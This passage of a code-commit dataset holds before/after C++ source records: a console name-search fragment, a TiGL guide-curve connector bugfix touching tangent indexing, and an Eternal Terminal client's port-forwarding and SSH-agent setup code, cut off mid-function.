!(anotherOne == \"Y\" || anotherOne == \"y\"));\n}\n\nstring Console::searchName()\n{\n    string chosenName;\n    cout << \"Who would you like to seach for? \";\n    cin >> chosenName;\n    return chosenName;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n* Copyright (C) 2017 German Aerospace Center (DLR\/SC)\n*\n* Created: 2018 Jan Kleinert <Jan.Kleinert@dlr.de>\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#include \"CTiglCurveConnector.h\"\n#include \"tiglcommonfunctions.h\"\n#include \"CTiglBSplineAlgorithms.h\"\n\n#include <algorithm>\n#include <stack>\n\n#include <CCPACSGuideCurve.h>\n#include <CPACSPointXYZ.h>\n#include <CWireToCurve.h>\n\n#include <BRep_Builder.hxx>\n#include <BRepBuilderAPI_MakeEdge.hxx>\n#include <BRepBuilderAPI_MakeWire.hxx>\n#include <GeomAPI_Interpolate.hxx>\n#include <Geom_BSplineCurve.hxx>\n#include <Precision.hxx>\n#include <TColgp_HArray1OfPnt.hxx>\n#include <TColStd_HArray1OfReal.hxx>\n#include <TColgp_Array1OfVec.hxx>\n#include <TColStd_HArray1OfBoolean.hxx>\n#include <ShapeAnalysis_Edge.hxx>\n\nnamespace tigl {\n\n\nCTiglCurveConnector::CTiglCurveConnector(std::map<double, const CCPACSGuideCurve*>& roots,\n                                         const std::vector<double>& params)\n{\n    \/\/ check if all guide curves have the same number of segments\n    int numSegments = static_cast<int>((params.size()-1));\n    VerifyNumberOfSegments(roots, numSegments);\n\n    \/\/ at each root, a connected guide curve starts.\n    \/\/  * A connected guide curve consists of a list of partial guide curves.\n    \/\/  * A partial guide curve consists of a list of segmentwise guide curves.\n    m_connectedCurves.reserve(roots.size());\n    std::map<double, const CCPACSGuideCurve*>::iterator it;\n    for ( it=roots.begin(); it != roots.end(); it++) {\n        guideCurveConnected connectedCurve;\n        m_connectedCurves.push_back(connectedCurve);\n        CreatePartialCurves(m_connectedCurves.back(), it->second);\n    }\n\n    \/\/ For every connected guide curve, create the interpolation order according\n    \/\/ to the depencies of the partial curves\n    for (size_t i=0; i < roots.size(); i++) {\n        CreateInterpolationOrder(m_connectedCurves[i]);\n    }\n\n    \/\/ set the parameters for every part (this is a bit icky...)\n    for (size_t i=0; i < m_connectedCurves.size(); i++ ) {\n        size_t paramIdx = 0;\n        for (size_t j=0; j < m_connectedCurves[i].parts.size(); j++ ) {\n            for (size_t k=0; k < m_connectedCurves[i].parts[j].localGuides.size(); k++ ) {\n                m_connectedCurves[i].parts[j].sectionParameters.push_back(params[paramIdx++]);\n            }\n            m_connectedCurves[i].parts[j].sectionParameters.push_back(params[paramIdx]);\n        }\n    }\n}\n\nTopoDS_Compound CTiglCurveConnector::GetConnectedGuideCurves()\n{\n    TopoDS_Compound result;\n    BRep_Builder builder;\n    builder.MakeCompound(result);\n\n    \/\/ iterate list of guide curves\n    std::vector<guideCurveConnected>::iterator it;\n    for (it = m_connectedCurves.begin(); it != m_connectedCurves.end(); ++it) {\n        guideCurveConnected curCurve = *it;\n\n        \/\/ interpolate the guide curve parts of the current guide curve\n        for (size_t i=0; i < curCurve.parts.size(); i++ ) {\n            int idx = curCurve.interpolationOrder[i];\n            InterpolateGuideCurvePart(curCurve, idx);\n        }\n\n        \/\/ connect the guide curve parts to a wire\n        BRepBuilderAPI_MakeWire wireMaker;\n        for (size_t i=0; i < curCurve.parts.size(); i++ ) {\n            wireMaker.Add(curCurve.parts[i].localCurve);\n        }\n\n        \/\/ Convert wire consisting of serval parts -> single curve -> single edge -> single wire\n        TopoDS_Wire connectedWire = wireMaker.Wire();\n        Handle(Geom_BSplineCurve) connectedCurve = CWireToCurve(connectedWire, false, 1e-6).curve();\n        TopoDS_Edge guideCurveEdge = BRepBuilderAPI_MakeEdge(connectedCurve).Edge();\n        TopoDS_Wire guideCurveWire = BRepBuilderAPI_MakeWire(guideCurveEdge).Wire();\n\n        \/\/ add the wire of the current guide curve to the compound\n        builder.Add(result, guideCurveWire);\n    }\n    return result;\n}\n\nvoid CTiglCurveConnector::VerifyNumberOfSegments(std::map<double, const CCPACSGuideCurve*>& roots,\n                                                 int shouldBeThisMany)\n{\n    \/\/ check if every guidecurve consists of the same number of segments\n    int numSegments = 0;\n    std::map<double, const CCPACSGuideCurve*>::iterator it;\n    for (it = roots.begin(); it != roots.end(); it++) {\n        numSegments = 0;\n        const CCPACSGuideCurve* curCurve = it->second;\n        while (curCurve) {\n            numSegments++;\n            curCurve = curCurve->GetConnectedCurve();\n        }\n\n        if ( shouldBeThisMany != numSegments ) {\n            throw CTiglError(\"The guide curves of the segments cannot be connected. Does your curve network have internal hanging nodes?\");\n        }\n    }\n}\n\nvoid CTiglCurveConnector::CreatePartialCurves(guideCurveConnected& connectedCurve, const CCPACSGuideCurve* current)\n{\n    \/\/ create new guide curve part and add current curve\n    connectedCurve.parts.push_back(guideCurvePart());\n\n    if (current) {\n        connectedCurve.parts.back().localGuides.push_back(current);\n        current = current->GetConnectedCurve();\n    }\n\n    \/\/ add guide curves to guide curve part until we hit a continuity condition\n    while (current && !current->GetContinuity_choice1() ) {\n        connectedCurve.parts.back().localGuides.push_back(current);\n        current = current->GetConnectedCurve();\n    }\n\n    \/\/ we must have hit a continuity condition. Start new guide curve part from here\n    if (current) {\n        CreatePartialCurves(connectedCurve, current);\n    }\n\n}\n\nvoid CTiglCurveConnector::CreateInterpolationOrder (guideCurveConnected& connectedCurve)\n{\n    \/\/ this is essentially Kahn's method\n\n    size_t nparts = connectedCurve.parts.size();\n\n    \/\/compute in-degree of all partial curves\n    std::vector<int> indegrees(nparts);\n    for (size_t ipart=0; ipart < nparts; ipart++) {\n        indegrees[ipart]=0;\n        const CCPACSGuideCurve* partRoot = connectedCurve.parts[ipart].localGuides[0];\n        if ( partRoot->GetContinuity_choice1() ) {\n\n            bool from =    partRoot->GetContinuity_choice1() == ECPACSGuideCurve_continuity::C1_from_previous\n                        || partRoot->GetContinuity_choice1() == ECPACSGuideCurve_continuity::C2_from_previous;\n            bool to   =    partRoot->GetContinuity_choice1() == ECPACSGuideCurve_continuity::C1_to_previous\n                        || partRoot->GetContinuity_choice1() == ECPACSGuideCurve_continuity::C2_to_previous;\n            if ( to ) {\n                connectedCurve.parts[ipart].dependency = C2_to_previous;\n                indegrees[ipart-1]++;\n            }\n            else if ( from ) {\n                connectedCurve.parts[ipart].dependency = C2_from_previous;\n                indegrees[ipart]++;\n            }\n        }\n    }\n\n    \/\/ add all partial curves with zero degree to the stack\n    std::stack<size_t> stack;\n    for (size_t ipart=0; ipart < nparts; ipart++) {\n        if (indegrees[ipart]==0 ) {\n            stack.push(ipart);\n        }\n    }\n\n    \/\/ DFS through the dependency tree\n    while ( !stack.empty() ) {\n\n        \/\/ top of stack is the next in the topo sort\n        size_t idx = stack.top();\n        stack.pop();\n        connectedCurve.interpolationOrder.push_back(static_cast<int>(idx));\n\n        \/\/ see if we can add neighbors to the stack\n        if ( connectedCurve.parts[idx].dependency == C2_to_previous ) {\n            indegrees[idx-1]--;\n            if ( indegrees[idx-1]==0 ) {\n                stack.push(idx-1);\n            }\n        }\n        if ( idx+1<nparts && connectedCurve.parts[idx+1].dependency == C2_from_previous ) {\n            indegrees[idx+1]--;\n            if ( indegrees[idx+1]==0 ) {\n                stack.push(idx+1);\n            }\n        }\n\n    } \/\/ while ( !stack.empty() )\n}\n\nvoid CTiglCurveConnector::InterpolateGuideCurvePart(guideCurveConnected& connectedCurve, int intPartIndex) {\n\n    size_t partIndex = static_cast<size_t>(intPartIndex);\n    guideCurvePart& curvePart = connectedCurve.parts[partIndex];\n\n    \/\/ interpolate guide curve points of all segments of the part with a B-Spline\n    std::vector<gp_Pnt> points;\n    std::vector<double> params;\n    std::vector<gp_Vec> tangents;\n    std::vector<bool>   tangentFlags;\n\n    \/\/ add first point of this partial curve to the point list\n    points.push_back( curvePart.localGuides[0]->GetCurvePoints()[0] );\n    params.push_back( curvePart.sectionParameters[0]);\n    tangents.push_back(gp_Vec(0, 0, 0));\n    tangentFlags.push_back(false);\n\n    \/\/ check if a tangent for the first point is prescribed in CPACS\n    if ( curvePart.localGuides[0]->GetTangent_choice2() ) {\n        const generated::CPACSPointXYZ& tangent = *(curvePart.localGuides[0]->GetTangent_choice2());\n        tangents[0] = gp_Vec( tangent.GetX(), tangent.GetY(), tangent.GetZ());\n        tangentFlags[0] = true;\n    }\n\n    \/\/ check if we have a \"from\" dependency and prescribe tangent accordingly\n    if ( partIndex > 0 && curvePart.dependency == C2_from_previous ) {\n        guideCurvePart leftNeighbor = connectedCurve.parts[partIndex-1];\n        \/\/ get tangent at last point of leftNeighbor.localCurve\n        ShapeAnalysis_Edge edgeAnalyser;\n        Handle(Geom_Curve) geomCurve;\n        Standard_Real startParam, endParam;\n        gp_Pnt endPoint;\n        gp_Vec endTangent;\n        edgeAnalyser.Curve3d(leftNeighbor.localCurve, geomCurve, startParam, endParam);\n        geomCurve->D1(endParam, endPoint, endTangent);\n        tangents[0] = endTangent;\n        tangentFlags[0] = true;\n    }\n\n    \/\/ construct point list and prescribed tangents\n    for (size_t isegment = 0; isegment< curvePart.localGuides.size(); isegment++) {\n\n        \/\/ append point list with points of the given segment\n        \/\/ igore the first point on the section to avoid duplicity\n        std::vector<gp_Pnt> curPoints = curvePart.localGuides[isegment]->GetCurvePoints();\n        points.insert( points.end(), curPoints.begin()+1, curPoints.end() );\n\n        size_t idx_end = points.size();\n\n        \/\/ get the parameters for the current points\n        double p1 = curvePart.sectionParameters[isegment  ];\n        double p2 = curvePart.sectionParameters[isegment+1];\n        std::vector<double> curParams = CTiglBSplineAlgorithms::computeParamsBSplineCurve(OccArray(curPoints), p1, p2, 0.5);\n        params.insert( params.end(), curParams.begin()+1, curParams.end() );\n\n        \/\/ no tangents given for the points by default\n        std::vector<gp_Vec> curTangents(curPoints.size()-1);\n        std::fill(curTangents.begin(), curTangents.end(), gp_Vec(0, 0, 0));\n        tangents.insert(tangents.end(), curTangents.begin(), curTangents.end());\n\n        std::vector<bool> curTangentFlags(curPoints.size()-1);\n        std::fill(curTangentFlags.begin(), curTangentFlags.end(), false);\n        tangentFlags.insert(tangentFlags.end(), curTangentFlags.begin(), curTangentFlags.end());\n\n        \/\/ check if a tangent for the last point is prescribed in CPACS\n        if ( curvePart.localGuides[isegment]->GetTangent() ) {\n            const generated::CPACSPointXYZ& tangent = *(curvePart.localGuides[isegment]->GetTangent());\n            tangents[idx_end] = gp_Vec( tangent.GetX(), tangent.GetY(), tangent.GetZ());\n            tangentFlags[idx_end] = true;\n        }\n\n    } \/\/ for all local guides\n\n    \/\/ check if we have a \"to\" dependency and prescribe tangent accordingly\n    if ( partIndex+1 < connectedCurve.parts.size() ) {\n        guideCurvePart rightNeighbor = connectedCurve.parts[partIndex+1];\n        if ( rightNeighbor.dependency == C2_to_previous ) {\n            \/\/ get tangent at first point of rightNeighbor.localCurve\n            ShapeAnalysis_Edge edgeAnalyser;\n            Handle(Geom_Curve) geomCurve;\n            Standard_Real startParam, endParam;\n            gp_Pnt startPoint;\n            gp_Vec startTangent;\n            edgeAnalyser.Curve3d(rightNeighbor.localCurve, geomCurve, startParam, endParam);\n            geomCurve->D1(startParam, startPoint, startTangent);\n            tangents.back() = startTangent;\n            tangentFlags.back() = true;\n        }\n    }\n\n    int pointCount = static_cast<int>(points.size());\n    Handle(TColgp_HArray1OfPnt) hpoints = new TColgp_HArray1OfPnt(1, pointCount);\n    Handle(TColStd_HArray1OfReal) hparams = new TColStd_HArray1OfReal(1, pointCount);\n    Handle(TColStd_HArray1OfBoolean) htangentFlags = new TColStd_HArray1OfBoolean(1, pointCount);\n    TColgp_Array1OfVec htangents(1, pointCount);\n\n    for (int j = 1; j <= pointCount; j++) {\n        size_t jIdx = static_cast<size_t>(j-1);\n        hpoints->SetValue(j, points[jIdx]);\n        hparams->SetValue(j, params[jIdx]);\n        htangents.SetValue(j, tangents[jIdx]);\n        htangentFlags->SetValue(j, tangentFlags[jIdx]);\n    }\n\n    GeomAPI_Interpolate interpol(hpoints, hparams, Standard_False, Precision::Confusion());\n    interpol.Load(htangents, htangentFlags, false);\n    try {\n        interpol.Perform();\n    }\n    catch(const Standard_Failure&) {\n        throw CTiglError(\"Error interpolating guide curve points.\");\n    }\n    Handle(Geom_BSplineCurve) hcurve = interpol.Curve();\n    curvePart.localCurve = BRepBuilderAPI_MakeEdge(hcurve);\n}\n\n\n} \/\/ namespace tigl\n\n<commit_msg>small bugfix in guide curve tangent code<commit_after>\/*\n* Copyright (C) 2017 German Aerospace Center (DLR\/SC)\n*\n* Created: 2018 Jan Kleinert <Jan.Kleinert@dlr.de>\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#include \"CTiglCurveConnector.h\"\n#include \"tiglcommonfunctions.h\"\n#include \"CTiglBSplineAlgorithms.h\"\n\n#include <algorithm>\n#include <stack>\n\n#include <CCPACSGuideCurve.h>\n#include <CPACSPointXYZ.h>\n#include <CWireToCurve.h>\n\n#include <BRep_Builder.hxx>\n#include <BRepBuilderAPI_MakeEdge.hxx>\n#include <BRepBuilderAPI_MakeWire.hxx>\n#include <GeomAPI_Interpolate.hxx>\n#include <Geom_BSplineCurve.hxx>\n#include <Precision.hxx>\n#include <TColgp_HArray1OfPnt.hxx>\n#include <TColStd_HArray1OfReal.hxx>\n#include <TColgp_Array1OfVec.hxx>\n#include <TColStd_HArray1OfBoolean.hxx>\n#include <ShapeAnalysis_Edge.hxx>\n\nnamespace tigl {\n\n\nCTiglCurveConnector::CTiglCurveConnector(std::map<double, const CCPACSGuideCurve*>& roots,\n                                         const std::vector<double>& params)\n{\n    \/\/ check if all guide curves have the same number of segments\n    int numSegments = static_cast<int>((params.size()-1));\n    VerifyNumberOfSegments(roots, numSegments);\n\n    \/\/ at each root, a connected guide curve starts.\n    \/\/  * A connected guide curve consists of a list of partial guide curves.\n    \/\/  * A partial guide curve consists of a list of segmentwise guide curves.\n    m_connectedCurves.reserve(roots.size());\n    std::map<double, const CCPACSGuideCurve*>::iterator it;\n    for ( it=roots.begin(); it != roots.end(); it++) {\n        guideCurveConnected connectedCurve;\n        m_connectedCurves.push_back(connectedCurve);\n        CreatePartialCurves(m_connectedCurves.back(), it->second);\n    }\n\n    \/\/ For every connected guide curve, create the interpolation order according\n    \/\/ to the depencies of the partial curves\n    for (size_t i=0; i < roots.size(); i++) {\n        CreateInterpolationOrder(m_connectedCurves[i]);\n    }\n\n    \/\/ set the parameters for every part (this is a bit icky...)\n    for (size_t i=0; i < m_connectedCurves.size(); i++ ) {\n        size_t paramIdx = 0;\n        for (size_t j=0; j < m_connectedCurves[i].parts.size(); j++ ) {\n            for (size_t k=0; k < m_connectedCurves[i].parts[j].localGuides.size(); k++ ) {\n                m_connectedCurves[i].parts[j].sectionParameters.push_back(params[paramIdx++]);\n            }\n            m_connectedCurves[i].parts[j].sectionParameters.push_back(params[paramIdx]);\n        }\n    }\n}\n\nTopoDS_Compound CTiglCurveConnector::GetConnectedGuideCurves()\n{\n    TopoDS_Compound result;\n    BRep_Builder builder;\n    builder.MakeCompound(result);\n\n    \/\/ iterate list of guide curves\n    std::vector<guideCurveConnected>::iterator it;\n    for (it = m_connectedCurves.begin(); it != m_connectedCurves.end(); ++it) {\n        guideCurveConnected curCurve = *it;\n\n        \/\/ interpolate the guide curve parts of the current guide curve\n        for (size_t i=0; i < curCurve.parts.size(); i++ ) {\n            int idx = curCurve.interpolationOrder[i];\n            InterpolateGuideCurvePart(curCurve, idx);\n        }\n\n        \/\/ connect the guide curve parts to a wire\n        BRepBuilderAPI_MakeWire wireMaker;\n        for (size_t i=0; i < curCurve.parts.size(); i++ ) {\n            wireMaker.Add(curCurve.parts[i].localCurve);\n        }\n\n        \/\/ Convert wire consisting of serval parts -> single curve -> single edge -> single wire\n        TopoDS_Wire connectedWire = wireMaker.Wire();\n        Handle(Geom_BSplineCurve) connectedCurve = CWireToCurve(connectedWire, false, 1e-6).curve();\n        TopoDS_Edge guideCurveEdge = BRepBuilderAPI_MakeEdge(connectedCurve).Edge();\n        TopoDS_Wire guideCurveWire = BRepBuilderAPI_MakeWire(guideCurveEdge).Wire();\n\n        \/\/ add the wire of the current guide curve to the compound\n        builder.Add(result, guideCurveWire);\n    }\n    return result;\n}\n\nvoid CTiglCurveConnector::VerifyNumberOfSegments(std::map<double, const CCPACSGuideCurve*>& roots,\n                                                 int shouldBeThisMany)\n{\n    \/\/ check if every guidecurve consists of the same number of segments\n    int numSegments = 0;\n    std::map<double, const CCPACSGuideCurve*>::iterator it;\n    for (it = roots.begin(); it != roots.end(); it++) {\n        numSegments = 0;\n        const CCPACSGuideCurve* curCurve = it->second;\n        while (curCurve) {\n            numSegments++;\n            curCurve = curCurve->GetConnectedCurve();\n        }\n\n        if ( shouldBeThisMany != numSegments ) {\n            throw CTiglError(\"The guide curves of the segments cannot be connected. Does your curve network have internal hanging nodes?\");\n        }\n    }\n}\n\nvoid CTiglCurveConnector::CreatePartialCurves(guideCurveConnected& connectedCurve, const CCPACSGuideCurve* current)\n{\n    \/\/ create new guide curve part and add current curve\n    connectedCurve.parts.push_back(guideCurvePart());\n\n    if (current) {\n        connectedCurve.parts.back().localGuides.push_back(current);\n        current = current->GetConnectedCurve();\n    }\n\n    \/\/ add guide curves to guide curve part until we hit a continuity condition\n    while (current && !current->GetContinuity_choice1() ) {\n        connectedCurve.parts.back().localGuides.push_back(current);\n        current = current->GetConnectedCurve();\n    }\n\n    \/\/ we must have hit a continuity condition. Start new guide curve part from here\n    if (current) {\n        CreatePartialCurves(connectedCurve, current);\n    }\n\n}\n\nvoid CTiglCurveConnector::CreateInterpolationOrder (guideCurveConnected& connectedCurve)\n{\n    \/\/ this is essentially Kahn's method\n\n    size_t nparts = connectedCurve.parts.size();\n\n    \/\/compute in-degree of all partial curves\n    std::vector<int> indegrees(nparts);\n    for (size_t ipart=0; ipart < nparts; ipart++) {\n        indegrees[ipart]=0;\n        const CCPACSGuideCurve* partRoot = connectedCurve.parts[ipart].localGuides[0];\n        if ( partRoot->GetContinuity_choice1() ) {\n\n            bool from =    partRoot->GetContinuity_choice1() == ECPACSGuideCurve_continuity::C1_from_previous\n                        || partRoot->GetContinuity_choice1() == ECPACSGuideCurve_continuity::C2_from_previous;\n            bool to   =    partRoot->GetContinuity_choice1() == ECPACSGuideCurve_continuity::C1_to_previous\n                        || partRoot->GetContinuity_choice1() == ECPACSGuideCurve_continuity::C2_to_previous;\n            if ( to ) {\n                connectedCurve.parts[ipart].dependency = C2_to_previous;\n                indegrees[ipart-1]++;\n            }\n            else if ( from ) {\n                connectedCurve.parts[ipart].dependency = C2_from_previous;\n                indegrees[ipart]++;\n            }\n        }\n    }\n\n    \/\/ add all partial curves with zero degree to the stack\n    std::stack<size_t> stack;\n    for (size_t ipart=0; ipart < nparts; ipart++) {\n        if (indegrees[ipart]==0 ) {\n            stack.push(ipart);\n        }\n    }\n\n    \/\/ DFS through the dependency tree\n    while ( !stack.empty() ) {\n\n        \/\/ top of stack is the next in the topo sort\n        size_t idx = stack.top();\n        stack.pop();\n        connectedCurve.interpolationOrder.push_back(static_cast<int>(idx));\n\n        \/\/ see if we can add neighbors to the stack\n        if ( connectedCurve.parts[idx].dependency == C2_to_previous ) {\n            indegrees[idx-1]--;\n            if ( indegrees[idx-1]==0 ) {\n                stack.push(idx-1);\n            }\n        }\n        if ( idx+1<nparts && connectedCurve.parts[idx+1].dependency == C2_from_previous ) {\n            indegrees[idx+1]--;\n            if ( indegrees[idx+1]==0 ) {\n                stack.push(idx+1);\n            }\n        }\n\n    } \/\/ while ( !stack.empty() )\n}\n\nvoid CTiglCurveConnector::InterpolateGuideCurvePart(guideCurveConnected& connectedCurve, int intPartIndex) {\n\n    size_t partIndex = static_cast<size_t>(intPartIndex);\n    guideCurvePart& curvePart = connectedCurve.parts[partIndex];\n\n    \/\/ interpolate guide curve points of all segments of the part with a B-Spline\n    std::vector<gp_Pnt> points;\n    std::vector<double> params;\n    std::vector<gp_Vec> tangents;\n    std::vector<bool>   tangentFlags;\n\n    \/\/ add first point of this partial curve to the point list\n    points.push_back( curvePart.localGuides[0]->GetCurvePoints()[0] );\n    params.push_back( curvePart.sectionParameters[0]);\n    tangents.push_back(gp_Vec(0, 0, 0));\n    tangentFlags.push_back(false);\n\n    \/\/ check if a tangent for the first point is prescribed in CPACS\n    if ( curvePart.localGuides[0]->GetTangent_choice2() ) {\n        const generated::CPACSPointXYZ& tangent = *(curvePart.localGuides[0]->GetTangent_choice2());\n        tangents[0] = gp_Vec( tangent.GetX(), tangent.GetY(), tangent.GetZ());\n        tangentFlags[0] = true;\n    }\n\n    \/\/ check if we have a \"from\" dependency and prescribe tangent accordingly\n    if ( partIndex > 0 && curvePart.dependency == C2_from_previous ) {\n        guideCurvePart leftNeighbor = connectedCurve.parts[partIndex-1];\n        \/\/ get tangent at last point of leftNeighbor.localCurve\n        ShapeAnalysis_Edge edgeAnalyser;\n        Handle(Geom_Curve) geomCurve;\n        Standard_Real startParam, endParam;\n        gp_Pnt endPoint;\n        gp_Vec endTangent;\n        edgeAnalyser.Curve3d(leftNeighbor.localCurve, geomCurve, startParam, endParam);\n        geomCurve->D1(endParam, endPoint, endTangent);\n        tangents[0] = endTangent;\n        tangentFlags[0] = true;\n    }\n\n    \/\/ construct point list and prescribed tangents\n    for (size_t isegment = 0; isegment< curvePart.localGuides.size(); isegment++) {\n\n        \/\/ append point list with points of the given segment\n        \/\/ igore the first point on the section to avoid duplicity\n        std::vector<gp_Pnt> curPoints = curvePart.localGuides[isegment]->GetCurvePoints();\n        points.insert( points.end(), curPoints.begin()+1, curPoints.end() );\n\n        size_t idx_end = points.size();\n\n        \/\/ get the parameters for the current points\n        double p1 = curvePart.sectionParameters[isegment  ];\n        double p2 = curvePart.sectionParameters[isegment+1];\n        std::vector<double> curParams = CTiglBSplineAlgorithms::computeParamsBSplineCurve(OccArray(curPoints), p1, p2, 0.5);\n        params.insert( params.end(), curParams.begin()+1, curParams.end() );\n\n        \/\/ no tangents given for the points by default\n        std::vector<gp_Vec> curTangents(curPoints.size()-1);\n        std::fill(curTangents.begin(), curTangents.end(), gp_Vec(0, 0, 0));\n        tangents.insert(tangents.end(), curTangents.begin(), curTangents.end());\n\n        std::vector<bool> curTangentFlags(curPoints.size()-1);\n        std::fill(curTangentFlags.begin(), curTangentFlags.end(), false);\n        tangentFlags.insert(tangentFlags.end(), curTangentFlags.begin(), curTangentFlags.end());\n\n        \/\/ check if a tangent for the last point is prescribed in CPACS\n        if ( curvePart.localGuides[isegment]->GetTangent() ) {\n            const generated::CPACSPointXYZ& tangent = *(curvePart.localGuides[isegment]->GetTangent());\n            tangents.back() = gp_Vec( tangent.GetX(), tangent.GetY(), tangent.GetZ());\n            tangentFlags.back() = true;\n        }\n\n    } \/\/ for all local guides\n\n    \/\/ check if we have a \"to\" dependency and prescribe tangent accordingly\n    if ( partIndex+1 < connectedCurve.parts.size() ) {\n        guideCurvePart rightNeighbor = connectedCurve.parts[partIndex+1];\n        if ( rightNeighbor.dependency == C2_to_previous ) {\n            \/\/ get tangent at first point of rightNeighbor.localCurve\n            ShapeAnalysis_Edge edgeAnalyser;\n            Handle(Geom_Curve) geomCurve;\n            Standard_Real startParam, endParam;\n            gp_Pnt startPoint;\n            gp_Vec startTangent;\n            edgeAnalyser.Curve3d(rightNeighbor.localCurve, geomCurve, startParam, endParam);\n            geomCurve->D1(startParam, startPoint, startTangent);\n            tangents.back() = startTangent;\n            tangentFlags.back() = true;\n        }\n    }\n\n    int pointCount = static_cast<int>(points.size());\n    Handle(TColgp_HArray1OfPnt) hpoints = new TColgp_HArray1OfPnt(1, pointCount);\n    Handle(TColStd_HArray1OfReal) hparams = new TColStd_HArray1OfReal(1, pointCount);\n    Handle(TColStd_HArray1OfBoolean) htangentFlags = new TColStd_HArray1OfBoolean(1, pointCount);\n    TColgp_Array1OfVec htangents(1, pointCount);\n\n    for (int j = 1; j <= pointCount; j++) {\n        size_t jIdx = static_cast<size_t>(j-1);\n        hpoints->SetValue(j, points[jIdx]);\n        hparams->SetValue(j, params[jIdx]);\n        htangents.SetValue(j, tangents[jIdx]);\n        htangentFlags->SetValue(j, tangentFlags[jIdx]);\n    }\n\n    GeomAPI_Interpolate interpol(hpoints, hparams, Standard_False, Precision::Confusion());\n    interpol.Load(htangents, htangentFlags, false);\n    try {\n        interpol.Perform();\n    }\n    catch(const Standard_Failure&) {\n        throw CTiglError(\"Error interpolating guide curve points.\");\n    }\n    Handle(Geom_BSplineCurve) hcurve = interpol.Curve();\n    curvePart.localCurve = BRepBuilderAPI_MakeEdge(hcurve);\n}\n\n\n} \/\/ namespace tigl\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"TerminalClient.hpp\"\n\nnamespace et {\nvector<PortForwardSourceRequest> parseRangesToRequests(const string& input) {\n  vector<PortForwardSourceRequest> pfsrs;\n  auto j = split(input, ',');\n  for (auto& pair : j) {\n    vector<string> sourceDestination = split(pair, ':');\n    try {\n      if (sourceDestination[0].find_first_not_of(\"0123456789-\") != string::npos &&\n          sourceDestination[1].find_first_not_of(\"0123456789-\") != string::npos) {\n        PortForwardSourceRequest pfsr;\n        pfsr.mutable_source()->set_name(sourceDestination[0]);\n        pfsr.mutable_destination()->set_name(sourceDestination[1]);\n        pfsrs.push_back(pfsr);\n      } else if (sourceDestination[0].find('-') != string::npos &&\n          sourceDestination[1].find('-') != string::npos) {\n        vector<string> sourcePortRange = split(sourceDestination[0], '-');\n        int sourcePortStart = stoi(sourcePortRange[0]);\n        int sourcePortEnd = stoi(sourcePortRange[1]);\n\n        vector<string> destinationPortRange = split(sourceDestination[1], '-');\n        int destinationPortStart = stoi(destinationPortRange[0]);\n        int destinationPortEnd = stoi(destinationPortRange[1]);\n\n        if (sourcePortEnd - sourcePortStart !=\n            destinationPortEnd - destinationPortStart) {\n          STFATAL << \"source\/destination port range mismatch\";\n          exit(1);\n        } else {\n          int portRangeLength = sourcePortEnd - sourcePortStart + 1;\n          for (int i = 0; i < portRangeLength; ++i) {\n            PortForwardSourceRequest pfsr;\n            pfsr.mutable_source()->set_port(sourcePortStart + i);\n            pfsr.mutable_destination()->set_port(destinationPortStart + i);\n            pfsrs.push_back(pfsr);\n          }\n        }\n      } else if (sourceDestination[0].find('-') != string::npos ||\n                 sourceDestination[1].find('-') != string::npos) {\n        STFATAL << \"Invalid port range syntax: if source is range, \"\n                   \"destination must be range\";\n      } else {\n        PortForwardSourceRequest pfsr;\n        pfsr.mutable_source()->set_port(stoi(sourceDestination[0]));\n        pfsr.mutable_destination()->set_port(stoi(sourceDestination[1]));\n        pfsrs.push_back(pfsr);\n      }\n    } catch (const std::logic_error& lr) {\n      STFATAL << \"Logic error: \" << lr.what();\n      exit(1);\n    }\n  }\n  return pfsrs;\n}\n\nTerminalClient::TerminalClient(shared_ptr<SocketHandler> _socketHandler,\n                               shared_ptr<SocketHandler> _pipeSocketHandler,\n                               const SocketEndpoint& _socketEndpoint,\n                               const string& id, const string& passkey,\n                               shared_ptr<Console> _console, bool jumphost,\n                               const string& tunnels,\n                               const string& reverseTunnels,\n                               bool forwardSshAgent,\n                               const string& identityAgent)\n    : console(_console), shuttingDown(false) {\n  portForwardHandler = shared_ptr<PortForwardHandler>(\n      new PortForwardHandler(_socketHandler, _pipeSocketHandler));\n  InitialPayload payload;\n  payload.set_jumphost(jumphost);\n\n  try {\n    if (tunnels.length()) {\n      auto pfsrs = parseRangesToRequests(reverseTunnels);\n      for (auto& pfsr : pfsrs) {\n#ifdef WIN32\n        STFATAL << \"Source tunnel not supported on windows yet\";\n#else\n        auto pfsresponse =\n            portForwardHandler->createSource(pfsr, nullptr, -1, -1);\n        if (pfsresponse.has_error()) {\n          throw std::runtime_error(pfsresponse.error());\n        }\n#endif\n      }\n    }\n    if (reverseTunnels.length()) {\n      auto pfsrs = parseRangesToRequests(reverseTunnels);\n      for (auto& pfsr : pfsrs) {\n        *(payload.add_reversetunnels()) = pfsr;\n      }\n    }\n    if (forwardSshAgent) {\n      PortForwardSourceRequest pfsr;\n      string authSock = \"\";\n      if (identityAgent.length()) {\n        authSock.assign(identityAgent);\n      } else {\n        auto authSockEnv = getenv(\"SSH_AUTH_SOCK\");\n        if (!authSockEnv) {\n          cout << \"Missing environment variable SSH_AUTH_SOCK.  Are you sure \"\n                  \"you \"\n                  \"ran ssh-agent first?\"\n               << endl;\n          exit(1);\n        }\n        authSock.assign(authSockEnv);\n      }\n      if (authSock.length()) {\n        pfsr.mutable_destination()->set_name(authSock);\n        pfsr.set_environmentvariable(\"SSH_AUTH_SOCK\");\n        *(payload.add_reversetunnels()) = pfsr;\n      }\n    }\n  } catch (const std::runtime_error& ex) {\n    cout << \"Error establishing port forward: \" << ex.what() << endl;\n    exit(1);\n  }\n\n  connection = shared_ptr<ClientConnection>(\n      new ClientConnection(_socketHandler, _socketEndpoint, id, passkey));\n\n  int connectFailCount 